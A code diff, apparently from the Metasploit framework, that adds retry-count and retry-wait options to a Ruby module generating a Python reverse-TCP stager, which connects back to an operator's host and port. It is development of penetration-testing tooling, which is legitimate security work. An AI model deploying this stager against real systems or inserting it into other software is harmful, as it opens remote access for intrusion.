@@ -16,6 +16,14 @@ module Payload::Python::ReverseTcp
16
16
include Msf ::Payload ::Python
17
17
include Msf ::Payload ::Python ::SendUUID
18
18
19
+ def initialize ( *args )
20
+ super
21
+ register_advanced_options ( [
22
+ OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails (zero to infinite retries)' , 1 ] ) ,
23
+ OptInt . new ( 'StagerRetryWait' , [ false , 'Number of seconds to wait for the stager between reconnect attempts' ] )
24
+ ] , self . class )
25
+ end
26
+
19
27
#
20
28
# Generate the first stage
21
29
#
@@ -44,21 +52,24 @@ def transport_config(opts={})
44
52
45
53
def generate_reverse_tcp ( opts = { } )
46
54
# Set up the socket
47
- cmd = "import socket,struct#{ datastore [ 'StagerRetryWait' ] . to_i > 0 ? ',time' : '' } \n "
48
- if datastore [ 'StagerRetryWait' ] . blank? # do not retry at all (old style)
55
+ cmd = "import socket,struct#{ opts [ :retry_wait ] . to_i > 0 ? ',time' : '' } \n "
56
+ cmd << "counter = 0\n "
57
+ if opts [ :retry_wait ] . blank? # do not retry at all (old style)
49
58
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
50
59
cmd << "s.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
51
60
else
52
- cmd << "while 1 :\n "
61
+ cmd << "while counter< #{ opts [ :retry_count ] . to_i } :\n "
53
62
cmd << "\t try:\n "
54
63
cmd << "\t \t s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
55
64
cmd << "\t \t s.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
56
65
cmd << "\t \t break\n "
57
66
cmd << "\t except:\n "
58
- if datastore [ 'StagerRetryWait' ] . to_i <= 0
67
+ if opts [ :retry_wait ] . to_i <= 0
68
+ cmd << "\t \t counter=counter+1\n "
59
69
cmd << "\t \t pass\n " # retry immediately
60
70
else
61
- cmd << "\t \t time.sleep(#{ datastore [ 'StagerRetryWait' ] . to_i } )\n " # retry after waiting
71
+ cmd << "\t \t time.sleep(#{ opts [ :retry_wait ] } )\n " # retry after waiting
72
+ cmd << "\t \t counter=counter+1\n "
62
73
end
63
74
end
64
75
cmd << py_send_uuid if include_send_uuid
0 commit comments